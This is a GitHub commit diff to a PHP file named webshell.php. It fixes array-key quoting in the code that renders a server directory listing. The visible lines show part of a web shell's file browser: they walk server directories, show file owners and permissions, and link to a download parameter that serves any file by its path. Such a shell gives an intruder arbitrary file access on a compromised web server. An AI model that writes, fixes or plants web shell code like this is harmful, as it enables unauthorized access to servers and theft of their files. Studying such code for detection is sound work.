Skip to content

Commit 235e936

Browse files
authored
Update webshell.php
1 parent d74f377 commit 235e936

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

webshell.php

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -125,10 +125,10 @@ function printPerms($file) {
125125
foreach ($dirs as $key => $value) {
126126
echo "<tr>";
127127
if (is_dir(realpath($dir.'/'.$value))) {
128-
echo "<td><a href='". $_SERVER['PHP_SELF'] . "?dir=". realpath($dir.'/'.$value) . "/'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] . "</td><td> " . printPerms($dir) . "</td>\n";
128+
echo "<td><a href='". $_SERVER['PHP_SELF'] . "?dir=". realpath($dir.'/'.$value) . "/'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))['name'] . "</td><td> " . printPerms($dir) . "</td>\n";
129129
}
130130
else {
131-
echo "<td><a href='". $_SERVER['PHP_SELF'] . "?download=". realpath($dir.'/'.$value) . "'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))[name] ."</td><td> " . printPerms($dir) . "</td>\n";
131+
echo "<td><a href='". $_SERVER['PHP_SELF'] . "?download=". realpath($dir.'/'.$value) . "'>". $value . "</a></td><td>". posix_getpwuid(fileowner($dir.'/'.$value))['name'] ."</td><td> " . printPerms($dir) . "</td>\n";
132132
}
133133
echo "</tr>";
134134
}
@@ -141,4 +141,4 @@ function printPerms($file) {
141141

142142

143143
</div>
144-
</html>
144+
</html>

0 commit comments

Comments
 (0)